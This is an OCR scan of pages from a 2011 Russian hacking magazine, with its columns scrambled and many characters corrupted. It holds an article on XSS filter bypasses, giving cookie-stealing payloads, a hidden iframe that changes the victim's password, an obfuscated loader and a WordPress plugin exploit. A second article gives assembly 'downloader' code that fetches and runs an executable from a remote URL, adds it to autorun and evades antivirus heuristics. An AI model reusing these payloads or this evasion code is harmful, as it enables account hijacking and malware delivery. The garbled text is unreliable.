помощью о пи сан ны х выше способов, то нич е г о

Вот несколько самых поп улярных

направлений: Доступ Как ты уже понял, одна из главных целей

XSS заключается именно в том, чтобы получить cookie жертвы и проникнуть в ее аккаунт. Для

<h l

этого необходимо найти соответствующую

family : verdana;" > Дo кaжитe,

уязвимость, вставить на страницу скрипт

бот:

отправки печенек н а снифер, а эатем использовать сграбле нны е п е ч еньки для

этим недобьемся, так как се рвер сос тавил

$id = mysql_fetch_array(mysql_ query( "SELECT id FROM kapchi;" )); $captcha_id = $id[ 'id' ]; echo('

сессию примерно так:

$session = md5($login. " : " .$passwd. ":" .$_ SERVER( ' REMOTE_ADDR' ]) ;

style= "color:gray;fontТеперь изучим сайт. На сайте есть форма

что Вы не

смены пароля в кабинете пользователя. Смена

</ hl > <img src= "http: // nash.host.ru / captcha. php?img=' .$captcha_id. '" >

происходит после следую щ е г о за пр оса :

/c hangePasswd?oldpassword=(CTAPЫЙ

доступа на нужный сайт.

ПAPOЛb]&newpassword=(HOBЫЙ ПАРОЛЬ]

'); Трафик (баннеры, голосования, сплойты и

?>

многое другое)

XSS

Наши действия- внедрение скрытого

можно использовать также и для

добычи трафика. Например, с помощью вставки

ifгame, исходя из данных в печеньках:

Подробнее о данном векторе читай в октябрьском номере нашего журнала.

ifгame кода связки эксплойтов или даже

CSRF

открытияновогоокнасоссылкой.

Иногда , даже имея логин и nа роль/сессию, Рабочая сила Через хитрые комбинации JavaScгipt

мы не можем попасть в аккаунт, так как привязка

+ РНР

может быть к iр-адресу, браузеру и другим

можно провести банальн у ю прогрузку капчи

данным. Поэтому

для ее халяв н ой расшифровки юзерам и чужого

Н о, зная конструкцию сайта, мы все равно

XSS в чистом виде не пройдет.

ресурса . Для этого атакованная страница

сможем попа сть в аккаунт. Каким образом?

<html > <script > document .get ElementsByTagName( 'html' ) ( е ]. innerHTML += '< iframe src=" [ЛИН К НА СМЕНУ ПАРОЛЯ НА ТВОЙ]" border="0 " frameborder="0" width="0" height="0 "></ iframe > ' ; </scri pt >

блокируется до тех пор, пока поль зователь не

Пр е д с тавим , что в сграбленных п е ч е нь ках

введет код с нее:

абстрактного рес урса мы нашли такие за пи си:

</ html >

cscript src= "http :Jlnash.host . ru / script. js" > //код файла script.j s

login=admin password=1234 session=f13db539e8aebff0c82ce57a05d17b9f

нужный нам юэер сам себе сменит па роль, даже

Таким образом, зайдя на уязвимую страницу, не подозревая об этом .

Фильтрация любых символов, кроме<>:;/,= Здесь самое лучшее решение заключается в использовании пр ото­ кола

«data»,

который вполне может подойти для вставки п роизвольнога

кодир ован н о го в

base64 кода в атрибут «SГС >> . Прим ер такой вставки:

<s cript src=data :;ba se64,YWxlcnQoKTs= ></s cript > Синтаксис работы с протоколом

<<data >>

выглядит достаточно

тривиально:

dаtа:МIМЕ-тип;кодировка,данные

Здесь << данные >> - это пресловутый alert() , закодированный в base64. Указанный с п особ работает далеко не везде, но его главное преимущества заключается в том, что н е засвечивается адрес сервера .

Вставка данных в JS-код на странице Тонны новых

XSS уязвимастей

Внедрение произвольнаго кода в НТМL-ст раниц у может встре­

титься где уго дн о, например, од н ажды на одном из ресурсов я обна­ ружил крайне забавный случай вывода пользовательских данных прямо в JavaScгiptl Выглядело это примерно так:

ЗАЩИТУ МОЖНО ОБОЙТИ, ЕСЛИ ИСПОЛЬЗУЕТСЯ ОДНОРАЗОВОЕ УДАЛЕНИЕСЛОВИСИМВОЛОВ 080

<html > cscri pt > var а= " <?php echo($_POST('data']); ?>" ;

/1

о перации с "а"

ХАКЕР

11 / 154/2011


XSS: кросс-сай т им н а п олную !

</script>

f Exploi-c Ticle: 1 Gooc;rle Do.rk: -

i'lordp:re~s

- Bee:r Recipes v . l.O XSS

f Auchor: TheUzuki

</ht ml>

f Sotcware Link: h-ct:p: 1 /opensourcebrew. orq/beer-recipe.s-pluqin/ f Ve:rsion: v.l . O

В таких случаях необходимо и д остаточно п росто проанализировать

НТМ L-ко д с т раницы и по н я ть, ч т о для успеш н ой а таки н уж н о всего л и ш ь выйти за пределы инициализации переме н ной и в н едрить ядови т ый сценарий :

123" ; al ert( doc ument.c ookie ) ; Ь= "

t Tesced on: iiindows 7 fCVE,HftfHHffffffHHffHffffffftffHfHHftffffffffffffffHHfffHtH f SIESTTA 2. О (LFI/XSS) Mulciple Vulnerahilicif!:!l .f download: hccp: 1 /opensourceb:rew. orq/beer-recipes-pluoin/ f f Auchor : TheUzuki. • f:rom HF f mail: uzuki[Q)live{doc)de

f This was wr1t.cen for educacional purpose. Use it; at; your own risk. Ье noc :respons1Ыe tor any damaoe.

В итоге пол учим аlегt-окошко, выведе н ное на экран :

f Aut;hor will 1

HfHfffffHHfHHHHfHHHffffffffHfHHfHfffHHHfffHffffff

<html>

f f Noces: You need

<script > var а = "123" ; al ert ( document.cookie);

/1

о п ера ции с

ь - "" '·

-

" а"

</sc r i pt >

со

Ье

User

ас

che Wordpress :aoard

f fffHffHffffHHHffffffffffffHHfHHfHHHHHHfHHHfHHHf --Descripcion ot Nordpress Plugin-Creaces

а

cuscom. post;

суре

for easily enterino beer recipes into 1;ordPr

--Exploic--

</html>

3у Commenting а 3eer Recip, with Thi!l causes а XSS.

В В - коды

Очень часто в различных форумных, блоговых и других движках можно вст р етить так называемые В В -коды, кото р ые разрешают вставку только конкретных те г ов, к примеру: [а] ,

[img] ,

а

javascript, the Javascripts,get!l

ехе

- - РоС--

<script>alert {document . cookie) </script>

[Ь]. Не менее

часто встречаются и такие случаи, когда веб-разработчики просто

f

1 ЗЗ1dа v

corn {2011-06-25]

производят замену"[" на"<", не фильтруя остальное содержимое. Здесь также можно использовать упомянутые выше js-обработчики.

Пример такого использования:

И юньс кая

XSS в п ла г ин е WoгdP гess

[img src= "!@#$%л " onErro r= "alert(l);" ] Недостаточные атрибуты

.......

Также крайне интересен э п изод с недостаточными атрибутами:

-

<? ph p echo( ' <input type="text" value="'.strip_tags($_ POST [ 'data' ] ) . ' ">' ) ; ?>

XSS в DuoCMS Чт о же д е л а т ь в этом с л учае? Н а ум п рихо ди т вставка какого­

нибудь обработчика, например , onMouseOveг. Н о поле, как назло, на­

<scri pt src= "javascript :alert(document.cookie);" ></sc r ipt>

ходится в самом низу страни ц ы, и пользователь вряд ли наведет на

него мышью [указанный обработчик запускается при на воде курсора мыши на элемент!. Решение довольно простое- добавить еще один атрибут в тег

Данный ба г можно легко проэксплуатировать в случае вставки

каких-либо ссылок на страницу, где фильтруются даже символы<>"'.

input. Имя ему- sty le. За ч ем? Затем, чтобы с помощью Контроль регистра вводи м ыхданных

стилей сделать зто п оле разме р ом н а всю стра ниц у . Так ядовитый

Очень простым и, как ни странно, впол н е рабочим с п особом обхода

злемент совершенно точно попа д ет по д курсор юзе р а . Вот один из

примеров реализации всего этого не п отребства:

всевозможных

XSS защит является изменение регистра вводимых

тегов/протоколов. Часто фильтр режет только теги из нижнего регистра,

" onMouseOver= "alert(document.cookie)" styl e= "position:absolute; top:-1eeepx;left:-1eeepx;width:seeepx;height:seeepx;z-index:1eeee;" musor="

например: на

body, script, javascript . Изменив написание данных тегов bOdY, sCripT и JaVaScRiPt, мы легко обойдем такую за щ иту. Обход защит нерекурсивного удаления подозрительных данных Если попытаться ввести любые теги в тестируемый скри п т, то почти

наверняка этот самый скрипт просто удалит их. Данную защиту также Теория перехода

можно обойти, если используется одноразовое удаление подозритель­

Любой браузер может запускать JS-ко д через о д ноименный про­

ных слов или символов. Различие между одноразовым и многоразовым

токол. Это представляется возможным пр и п ереход е п о ссы л ке ви д а

«j avascript : al ert(1);>>.

Вот п р и меры тегов, где и с п ол ь зуется ссы л о ч ­

удалением зависит оттого, рекурсивна ли функция удаления или нет. Вот пример одноразового удаления:

ная основа:

$code = str_repl ace( "<body" , "" , $code); <а h ref= "javascript:alert(document.cookie);" >Moи фот ки</а>

<iframe src= "javas cript:alert(document.cookie );" ></iframe>

ХАКЕР

11/154/2011

А вот пример рекурсивного удаления:

081


взлом

ПРАКТИЧЕСКИЕ СОВЕТЫ После ознакомления с н еско льким и обходами

СкрытноеиспользованиеактивнойХSS

JavaScript

защит от ХSS-атак настало время уделить

Та кже популярной ошибкой является

Еще одним редким, но метким методом является

внимание некоторым п рактически м сове т ам при

состав лени е ядовитой ссылки с активной

работе с

и от прав ка ее админу нужного ресурса. Админ

в страницу. В д анном случае можно загрузить

д алеко не всегда так прост, как кажется. Он

специальный флеш-ролик, который будет

Анонимность

сразу все поймет. Гораздо лучше создать

посылать пресловутые кукисына твой снифер .

После получения пользовательских данны х

страничку с таким кодом:

XSS:

с помощью

XSS

flash

загрузка ядовитых flаsh-файлов и вставка их

HTML

(лаги н, па роль или сессия)

Универсальный вектор

нельзя забывать про анонимность . Способы ее

<body

организации давно известны : про кси/соксы,

ссылка'" ></ Ьоdу >

VPN, дедик

XSS

через

oпload; "location.href;'ядoвитaя

Универсальный вектор- это внедряемая в

НТМL- с тр аницу строка, ко торая фактически не

и другие.

за ви сит от окруже ни я и вызывает уязвимость

XSS.

за т ем сохра нить ее на какой-нибудь фрихает

типа

Подстанов ка куковсебе

(например, dalmatincy.fhost . гu ) с именем

на составле ни е п о д обн ы х векторов. По зволю

П одставить себе чужие кукисы легко через

jpg

браузер Орега (Инструменты~ Д ополнительно

так :

универсальный вектор о т Gaгeth

AddType application /x -httpd-php .jpg

java script: /*- - ></ marquee ></sc ript ></ title></textarea></noscript></style> </xmp >"> [img;l] <i mg -/style;-

~Управление

cookiesl, а

и настроить апачевский

oshibka .

.htaccess файл

вот

себе в качестве примера п оказать мозголомный

подставпять прямо в адресную строку браузера. К примеру, в моем самаписнам снифере любые

Далее на админскую почт у высылается

кукивыводятся прямо в виде готового JS-кода.

примерно такое письмо:

Таким образом, я сразу получаю строку вида

на нем:

;expression&#48/*' / - /*' , /**/ eval(name)//);width:lee%;height:lee% ; position : absolute ; behavior:url (#default#VML);-o-

Ещ е менее заметный вариант- это создание

link:javascript:eval(title);-o-linksource:currentname;

j ava script: documeпt. cook ie;" key;v alue";

Здравствуйте,

(вставляем ее н а атакуемой странице в

сайт,

адресную строку и нажимаем Епt ег).

http ://dalmatincy.fhost.ru / oshibka.jpg

мне очень

нравится

но я не знаю как обойти

Ваш

эту ошибку

Замаскированнаяпроверка Хочу предостеречь тебя от захода на интересный

сайт и мгновенного ввода во все д оступные

script>.

"><script>alert(l);</

Это выглядит так же глупо, как найти

автомат с кофе, который пр и зажатии

забирать все деньги на глазах людей вокруг.

XSS

ifгame с ядовитой ссылкой. Причем соз да ние

alert(l) onerror;eval(name) src;l auto focus onfocus;eval(name) onclick; eval(name) onmouseover;eval(name) backgr ound;javascript:eva l(name) //>"

такого ifгame лучше реализовать динамически

через

JS

и затем закриптовать этот код:

2 каких­

либо кнопок выдает все деньги, и каждый день Любые пентесты

Heyes:

также через плагины

в других браузерах. Ещ е кукисы можно

поля чего-то вроде

На многих хак-форумах идут конкурсы

<scr ipt >var l;['reverse' , 'join', 'split', 's lice', '93В', '2CSF //

резонно проводить

Да , действительно интересное решение ,

скрытно от админис трат ора и п ользователей .

/9/ 43D225F //73/3/F/ E74223EЗC2F / 4 /97/3 E27

спасибо Гаресу Хейсу ( twitteг. com /#!/gaгeth­

Например, для проверкифильтрации символов

293' ],il;'б ' ' il;'con \x73\x74\x72\ x75c tor', 11;' ',_;[ 'length ', 'unescape'],li;[] , ll;this;l;l[l[3]](4l [l[e]]()

heyes).

"<"

и

">"

можно просто ввести в п оле ввода

з н ачение " < привет! >". Затем смо трим НТМLкод полученной с т рани цы и, если д ан ны е символы вы велись в с воем первозданном

подобные вставки побуждают админа латать дыры, что влечет за собой огромную п а ле вность.

Также сму щ ает размер и реакция на различные

виде, продолжаем с троить из себя д урачка следующим образом:

Н о, исходя из практики поиска ХSS­

багов, э т о не сто ль эффектив но , так как

фильтры каких-либо час т ей вектора. Л ично я

join(ll))(); </scri pt >

никогда не использовал подобные головоломки именно по этим причина м. Н о, если заниматься

Dead <Body > - Track

б.mрЗ

И так далее с остальными тегами.

Подробнее о шифровке JavaScгipt читай в

на п исанием ска н ера

сентябрьском номере журнала.

может пр игодиться.

function recursiveReplace($text, $replace, $repalce_to) $text ; str_replace($replace, $repalce_to, $text); return (strstr($text, $replace)) ? (recursiveReplace($text, $replace, $repalce_to)) : ($text);

XSS,

этот вариант

<bo<bodydy onload; "alert(l)" > По сле удаления

«< body>> данный

ко д будет вполне работоспособным:

<body onload; "alert(l)" > ПОСЛЕСЛОВИЕ Я надеюсь, что, несмотря на некоторую баянистость кросс-сайтового

$code ; recursiveReplace($code, "<body" , "" );

скриптин га, ты с интересом пр очитал этот материал. В любом случае помни, что все новое- это хоро ш о забытое старое. Кто знает, может

В таком случае

«<body>> удаля ется

из кода до тех пор, пока код не

быть, через несколько лет ба гокопатели обнаружат новые интересные

будет его содержать . Обход одноразового удаления выглядит следую­

способы обхода всевозможных фильтров, и мы обязательно о них на­

щим образом :

пишем ::И:

082

ХАКЕР

11/154/2011


Preview СЦЕНА

11

КОРОБКА В ОБЛАКАХ История успешного старта па, который

начался с простой идеи, как сделать мир лучше, а пользователей-счастливее .

Когда в 2008 году ДрюХьюстон и его на­ парникдраш Фирдоуси затеяли создание

Dropbox, ны рынкеуже были продуктыдля для синхронизации данных, были утили­

тыдля бэкапа, и были системы контроля версий. Однако парням удалось убедить инвесторов, что у пользователей до сих пор нетто го, чего им действительно нуж­

но- простого какдве копейки сервиса, который разом решал бы все постав­ ленные задачи. Написанный прототип на Pythoп, развернутый на мощностях Amazoп SЗ+ЕС2, быстро превратился в бе­

шено популярный проектс 25 миллионами пользователей .

UNIXOID

MALWARE

11

АСС ЕМ Б ЛЕРОМ ПО ЭВРИСТИКЕ

Тесты антивирусов-наше любимое за­ ня т ие. В это т раз мы проверили эвристи­ ческие алгоритмы п опулярных продуктов своими харкорными методиками.

• .

БОЛЬНЫЕБОТЫ

Aпdгoid Maгket не проверяет добавляе­ мые приложен и я, чем активно пользуются

создатели малвари . Но что представляет

• ХАКЕР

Многие серьезные разработчики софта

используюаппаратнуюзащиту HASP. Но даже аппаратный ключ можноэмулиро­ вать, не прибегая к пальянику.

11/154/2011

Как выделить одному L iпuх-приложению

30% процессарного времени, другому5% оперативки, а третьему - всего 128 Кб ширины интернет-канала? Да ле г ко'

собой мобильный зловред?

SYN/ACK

CODING

ANTIHASP

11

ВОЙНАЗАРЕСУРСЫ

11

DLL-ХАРДКОДИН Г

Чтобы запустить свой код, не обязательно компилироватьеговехе-файл и ждать, когда юз ер кликнет по нему в проводнике.

Внедряем свою

DLL в чужую программу.

11

НА СТРАЖЕ ПЕРСОНАЛЬНЫХДАННЫХ Разговор атом, как законно защитить персональныеданные, не покупая кота в

мешке. Опыт человека, который съел на этому собаку.

083


MALWARE

Самое главное и з всех чита­ тельских пожеланий, которые нам присылали по следам

предыдущих тестов,- боль ­ ше х ардкора . Ну это мы и сами

хотели обеспечить : ] . А следую ­

Сергей Греков

-

Полный текст статьи ж дет тебя на диске .

1]

качес тв е уча с тнико в д ля на ш его о ч ере дн ого теста я вы­

б р а л п я т ь аверо в из совер ш е н но разных << ка т егорий»:

AVG, Avast, ClamAV, Pa nda, Comodo. Как види ш ь, т ут пр ису т ствуют

чет ы ре халяв н ых а н тиви р уса, и о д ин- крутой, платн ый, с медве­ дем на обложке, для сравне н ия. Все тесты я про в од ил под VmWaгe с

установленной Wi ndows ХР SРЗ х86. << Вирусы >> для теста я писал на ассемблере, а компилировал

МАSМ'ом. П ре д ы д у щ ий тест l xakep.гu/post/56236/default . asp l заклю­ чался в том, ч то я сделал п ростенький Downloadeг, который улучшал

щее по популярности мнение­

различными п у тя ми , чтобы избавиться от де т ектирования. П ри-

больше подозрительности для

чем если в пр ош л ый раз я старался использовать тонкости работы

объектов тестирования. Вдруг некоторые аверы не определя­

ли наши тесты потому, что они

пр оцессо р а в х86, то сей ч ас я п робовал обой т и ан т ивирус, п риме н яя особе нн ос ти Wind ows.

ВИРУС НОМЕР РАЗ Во т ко д наш е г о п е рв ого при мера :

не очень подозрительны? ОК, сделаем прогу, которая скачи­

вает фа й л из сети, записывает его в авто з агрузку и запускает.

Сомнительный функционал, не так ли?

.data pi PROCESS_INFORMATION <> sta r tupinfo STARTUPINFO <> . data dd RunKey db "SOFТWARE \Microsoft \Windows \ CurrentVersion \ Run " , Malware db "Malware" , e р Кеу

ХАКЕР

е

11 / 154/2011


Ассемблером по эвристике

* л

1 __

.__._

1

;.

1

1'

+

1 '

•••

.

r ~a..-

'

.ее

"' ' D--

'

~.

_ _ , ___ ...__

J;

1

••'t1J

11'/f!i!!m!!'!!"""'"&l =~-:::-=~:.::===.:,~~:.:.::-.о.. l!piAD(I-THtl1710110tl-..ntOY!W*t,-IIIOoH~MW-Т8б~W--!'CNНw/l .--.,C'I- IOOI~tтpOQ"~OIIfi'!Wo\OЖ~IJNIMfOMJТ>Ntcl•oO!IoиtttМA811t

-.ЯAIIONн~мnRпt~~lllfiiiiii~"--.,~'~~A Ооо&жо-~

t), . _

_.... _ _ .s..t.

•!I\IOJihOНIТ8Rn~oa-n.нм~W-WI!c~g&"p~~" ЦliфfJOIWICIIOJifiHC ... oC.бн~IIOOJIIICНOICICr....-. oCIIНIIjiOOМIO!Ifii*ADCf'/1\t~HFrмВSOIII,

• t!OII\'t...",~ • ..-.oe.-.Rнea-IOPAI•H~(~тe-ooo:o~ OtiOIКIIТWWOOoO.,o-noc~

··---

Кf!IOt-AOAI.-•II-.__Ciopмmиo,oo:ncчnlip,RAR,Tar,Qzip,IIZIIp.1,0\..E2,

~CНI(8W.,81$мдp~n~t;

о ~naмtf!OUI~IItllll~fOfl\0'<1- . ."""'· о K~~··-..-.o.ELfнPer!IЫtE*utiЬII,DD~Uf'XrSO,PIIIIt, thPкl!,-lal,МEW,Upldlнa..,иr...-StJE,YOOaCr/IIIOrн~

а

comodo

clamav- опенсорсный антивирус,

наверняка любимый нашими юниксоидами вроде Андрюшка и Сергея Яремчука, внезапно победил. С них причитается!

бдит по полной программе. Но ему все нравится!

.code url db "http:/ /www . malwareurl.com/malware . exe·~, e pathtosave db " c: \ windows \ system32 \ malware.exe" , e start: invoke URLDownloadToFileA, е , offset url, offset pathtosave,

е,

.......... •

mov еах_, [ еах + leh ] mov еах, [еах + езсh ] mov еах, [еах] cmp еах, dword ptr [discCroot] jz malware_code jmp exit

е

malware_code:

invoke RegCreateKeyExA, HKEY_LOCAL_MACHINE, offset RunKey, е , е , REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, е , offset рКеу,_ е

Здесь приведена только << интересная >> ча с ть кода, так как все остальное осталось аналогичным предыдущему вирусу. Но эта по­ следовательность инструкций наверняка nокажется большин с тву

invoke lstrlenA, offset pathtosave

читателей неочевидной. А в с е потому, что я очень хитер:). В самом

invoke RegSetValueExA, рКеу, offset Malware, offset pathtosav~, еах

е,

REG_SZ,

начале в регистр ЕАХ попадает содержимое nамяти по смещению ЗОh в сегменте

FS.

В си с темах

Windows NT

в этом ме с те содержит­

ся указатель на блок РЕВ [Pгocess Enviгonment Block). Этот блок

invoke RegCloseKey,

содержит системные данные , описывающие процесс . Далее идет

рКеу

обращение к элементу, отстоящему на 10h от начала РЕВ ' а- ука­

invoke CreateProcessA, offset pathtosave, е , е , е , NORMAL_PRIORITY_CLASS, е , е , ~, __offset startupinfo, offset pi

зателя на

RTL_USER_PROCESS_PARAMETERS.

Затем «вирус >> берет дворд по указателю по смещению ЗС . По этому смещению расnолагается строка в юн и коде, содержащая

текущую паnку . Таким образом, если « вирус >> запускается с ди с ка

invoke ExitProcess,

С, то в регистре ЕАХ должно оказаться значение discCгoot . Так

е

должно быть при нормальном исполнении файла, а антивиру с может и не быть осведомлен о содержимом упомянутых структур .

retn

Таким образом, если в регистре ЕАХ окажется не корень диска С, то процесс должен завершиться. Если эвристика в антивирусе не

Здесь все очевидно- тупое скачивание файла при помощи

URLDownloadToFile,

а затем запуск этого файла с помощью

знает, как правильно исnолнить весь код, то, скорее всего , файл

CгeatePгocess. Помимо этого nроизводится добавление скачанно­

окажется « чистым >> . Протестировав его , видим , что те же самые

го файла в автозагрузку стандартным путем. По идее, все пред­

два антивируса его и обнаруживают, а остальные трое опять

ставленные антивирусы должны его детектить. Однако оказалось,

м о лчат.

что обнаружить простейший Downloadeг способны лишь

ClamAV.

Причем

AVG

выдал «общиЙ>> вердикт, а

ClamAV,

AVG

и

по­

ВИРУС ЗА НОМЕРОМ ТРИ

видимому, нет- Win32/DH и W32 . SPERO.Pгolixus.0825 соответ­

Теnерь я решил проверить , знают ли антивирусы про содержимое

ственно. Идем дальше .

модуля keгnel32. Для этого я с ваял следующий « троянец >> :

ЗЛОБНЫЙ ТРОЯН НОМЕР ДВА Вот код нашего второго при мера:

kernel32 db "kernel32",0 dword_PE db "РЕ",е,е

discCroot db "С" , start: assume fs:nothing

start: push offset kernel32 call LoadlibraryA

mov

еах,

ХАКЕР

fs:[ Зeh ]

11 /15 4/201 1

е,

": " ,

е

mov

есх,

[еах

+

езсh ]

085


MALWARE "· AVG

-

Avast ClamAV lmmun1tet Panda Comodo lnternet

l =ERO Prol1xus 0825

W32.SPERO. Prol ixu s.0825

W32.S PERO.Prolixus.0825

l W32 .SPERO.Prolixus.0825

W32.SPERO.Prolixus.0825

-

Secuпty !

:

- .._

--+--------1

Результаты нашего теста

функции завершается неудачей, то п оследняя возвращает 78h.

mov е а х, [ еах + е сх ] cmp еах, dwo r d pt r [ dwor d_PE ] jz mal wa re_code jmp Exi t

Е с ли антивирус не знает о правильном возвращаемом значении, а просто пропускает функции или поступает как-то по - иному, но все равно неверно, то он должен пойти по ложной ветви, которая при­

водит к завершению процесса с помощью ExitPгocess. Эта попытка Этот код в самом начале п олучает базовый адрес kегпе132. Затем

п роисходит обращение к полю e_lfanew структуры IMAGE_DOS_

HEADER.

наконец-то заставила << отвалиться >>

AVG, поэтому е д и~с т ве н ным ClamAV.

антивирусом, де т ектирующим этот файл, о к азался

Это поле содержит смещение от начала файла до « нового »

заголовка. В качестве << ново г о >> могут выступать РЕ- ,

ПРИМЕР НОМЕР ПЯТЬ

LE- и N Е ­

з аголовки . Но в данном случае, очевидно, там должен содержаться

Н а п ос ледок я решил пров е рить , как будут в е сти себя антивирусы,

дворд РЕ\0\0. На зто и производится проверка . Если антивир у с

е сли в коде будет прис у т с твовать большой и долгий цикл. Для этого

з нает, что там содержится, то файл, скорее всего, будет задетекти­

я сделал очере д ной << вирус >> :

рован, т ак как в э т ом случае будет ис п олняться ветвь downloade г 'a. Ситуация с детектированием не изменилась.

. code url db "http://www.malwareurl.com/malware.exe" , e pathtosave db "malware.exe" , e

ЧЕТВЕРТЫЙ ПРИМЕРЧИК Следующее, что я решил проверить-работа эвристически х анали­ з аторов антивирусов с ре д кими АРI-функ ц иями. Причем функцию

я в ы бирал т акую, чтобы она возвращала не ноль и не один в случае провала. Мой выбор пал на TгeeResetNamedSecuгitylnfo:

.code url db "http://www.malwareurl.com/malware.exe" , e pathtosave db "malware.exe" , e start: invoke TreeReset NamedSec urityi nfo, e , e , e , e , e , e , e , e , e , e , e

рор

MSDN, эта функция сбрасывает secuгity infoгmation

в дескрипторах защиты выбранног о дерева объектов. Если вызов

Оnовещение AVG Resident Shietd

.-

•:J

Cycle_Begin : call GetTickCount sub edx, еах push 1eeeh call Sleep push е call GetModul eHandle

cmp еах, 7Bh jz Malware_Code jmp Exi t П о д а н ным

start : mov есх, seeeh push есх

Х

есх

dec есх push есх jnz Cycle_Begin К од весьма тривиальный- 5000h раэ будет вызываться ф у нкция GetTickCount, GetModuleHandle и Sleep, с параметром 1000h. В

результате можно будет проверить, с п особны ли эвристи ч еские

Обнаружена угроза!

ан а лизаторы обхо д ить такие долгие циклы !на обыч н ой машине код Downloadeг·a должен начать исполняться пример н о через сутки:

Им.А файла :

c:\DocLrnents and Set th;ls\дA........crpaтop\Paбo 'loiЙ

Имя угрозы :

В0Зf«)ЖНО з.аражен..е неизвестныr-~ вирусом Wn32/DН . CXXXXXXJO{CXXXJBOOCHXXXXXJ20-!XXXXXJOO} ~

cтon\Xakep_Т!Yd . exe

Обнаружено f'1)И ОТtq:)ЫТИИ .

+ Переместить в хранwице (М) (рекомендуется ) Эаражежый файn будет безопасно помещен на карантин в ХраниJИЦе вирусов .

+ Перейти к файлу (G) Отi<рЫТИе nan<И, содержащей файл, в Г)юеод>И<е

+

1000h • 5000h; 5 000 OOOh; 83 886 080

мс;

83 886

с;

1398

мин;

23

часа!. Короче , если антивир у сы будут просто и с полнять код !эм у ­ пируя или под какой-нибудь собс т венной виртуалкойl, то времени у них на это не хватит. А вот если у п ользователя комп ь ютер будет работать сутки без перезагрузки , то загрузка с << вредоносного >> урла успешно будет произведена . В итоге- ничего не изменилось.

Только ClamAV справился с э тим << вирусом >> , выне с я вердикт W32 . Wndows.

SPRO. Pгoli x u s .0825.

\1гнорvровать угрозу Определен-tЫЙ файп останется в текущем местоrюrюжЕ!Н'И на АИС:ке . В целях

бе3011ё1СН0Сти t<DМ""'ОНеНТ Resic:lent доступ к эараженнь~>< файлам .

Shleld

не nозволяет пользователям nолучать

ЗАКЛЮЧЕНИЕ Р езультатами этого теста я был обескуражен. П о ч ему платный ан­

тивирус от

Panda ничего не обнаружил ? ! П очему бес п латный ClamAV

ничего не пропустил , а все остальные пропустили?! Как вообще ра­ ботает Третий nример дете к тирован

086

AVG. Следующи й т ест она у же не nотянет

AVG,

но не в се?!

что ем у удалось обнар у жить лишь несколько << вир у сов >>, Вопросы , как обычно, остались без ответов . :Х:

ХАКЕР

11/ 154/2011


Zeronights

За месяц до конференции будет объявлен

Мы посетили множество международных конференций от Индии

итоговый список участников, прошедших пред­

до Америки и везде нас спрашивали о российских мероприятиях.

варительный отбор. Следи за новостями!

Все удивлялись, когда мы говорили, что sесuгitу-конференций в России нет. Слава Богу, в этом году ситуация начала меняться, и мы

очень рады представить новую конфу Zeroпights, которая пройдет

25 ноября

FAST-TRACK СЕК

ИЯ

Помим о основной секции с докладами, будет организована и секция, посвященная не­

большим, но значимым исследованиям, а

в Питере.

также просто интересным мыслям, идеям и

наработкам в области ИБ . В течение

минут

Федор Ярочкин

сийское сообщество

школы, наш соотечественник, автор Х-РгоЬе.

блемах и их решениях, а также поднимут для

Приехал к н ам из Тайвани. Доклад: «Анализ

обсуждения острые вопросы . Кроме этого, в

компании

Digital

DEFCON

при поддержке

Secuгity. Цель конферен ции­

(Amorize] . Хакер старой

15

Организа т ором мероприятия выступает рос­

докладчики расскажут о наболевших про­

конце секции любой участник конференции

собрать лучших специалистов в своей области,

незаконной Интернет-деятельности>> .

которые расскажут о последних достижениях,

Самуил Шах

Oday уязвимастях

циалист по безопасности, почетный гость на

свое исследование, обрисовать проблему или

крупнейших международных конференциях

высказа т ься по теме прямо н а конференции.

и методиках взлома.

Доклады, представленные н а конференции,

спе­

сможет получить

5 минут

славы и представить

и отличный с п икер. Прилетит из загадочной

в настоящий момент проходят жесткий отбор

Индии . Доклад: « Веб-войны

командой независимых с п ециалистов, которые

и выберут самых достойных . В числе про­

(NetSquare) . Известнейший

КОНКУРСЫ ПО ЖИВОМУ ВЗЛОМУ

3>>.

Алексей Синцов (DigitaiSecurity] . Автор

Конкурсы любят все, и организаторы конфы

граммнога комитета такие всемирно извест­

новых методик эксплуатации и «уб ийца >> ДБО.

решили провести их по-особенному. На

ные специалисты, как: Крис Касперски, Д ейв

Представит н а наш суд новый триллер << Где

Zeгonights не будет выдума н ных ситуаций.

лежат деньги?>>.

Желающим буду т предоставлены настоя-

Аител

ICEO l mmuпity, С Ш А], Пит ер Ван Иекхаут The Gгugq ICOSEINC, Тайланд], Евгений Климов IPWC, Россия], Илья ICoгelanTeam , Бельгия],

Александр Матросов

(ESET]. Viгus-Fгeeman

излечитвсехотновыхтиповтроянов.Доклад:

щие программно-аппаратные комплексы и

системы. На таких системах каждый сможет

Медведевекий IDigitaiSecuг i ty, Р оссия], Ни ки т а

«Со временныетенденциираэвитиявредо­

проверить свои с п особности по п оиску н овых

Кислицин (журнал «Хакер>>, Россия] и Алек­

носных программ для систем ДБО>>.

уязвимастей типа

Александр Поляков

АСУ-ТП, платежный терминал, сервер с

са ндр Матросов

IESET, Россия] . Н а настоящий

момент уже заявлены следующие доклады:

Алексей Лукацкий

(Cisco] . В

представлении

не нуждается 1 Доклад:« Бостонекая матрица

<< Да йте мне

(Digital Security) .

SAP я его сломаю>>.

Оценит

безоnасностьприложений.Докладизсек­ ции FastТгack: <<Не трогай, а то развалится:

Oday

в режиме онлайн.

SAP

системой и многое другое- попробуй взло­

мать! Помимо этого, будут конкурсы от н аших п артнеров на обход WA F, поиск уязвимастей и

киберпреступности или какова бизнес­

взлом бизнес приложений в экстремальных

взлом замков llockpickiпg] с призами, закры­

модельсовременно г о хакера?~

условиях>> .

тыми замками. ::И:

ХАКЕР

11/154/2011

087


MALWARE

Овчинников Михаил aka Night Storm lnstorm901agmail.coml


Больные роботы

-

Кое-где в представленных сорцах мы допустили пару

ламерских ошибок. Это для того, чтобы совсем уж неадекватные

• Ьlog .trendmicro.com -

Информация,

блог компании Tгend Мiсго, занимающейся разработкой антивирусного ПО, содержит много интересной информации

представленная

...

nредназначена

исключительно для

по малвари, в том числе и по

ознакомления и

андроидной. Там же ты найдешь

самозащиты. Помни,

nолный nост о

что наnисание

Google++

dёvelopers

в статье,

скрипткидисы не

• www bгjghthub . com/moblle/

вредоносного ПО

кинулисьих тупо

google-andгojd . aspx - хороший

карается законом.

компилировать.

англоязычный ресурс, на котором содержится много информации как по использованию Android, так и по разработке nод него.

----

PUЫIC

Mt!thods

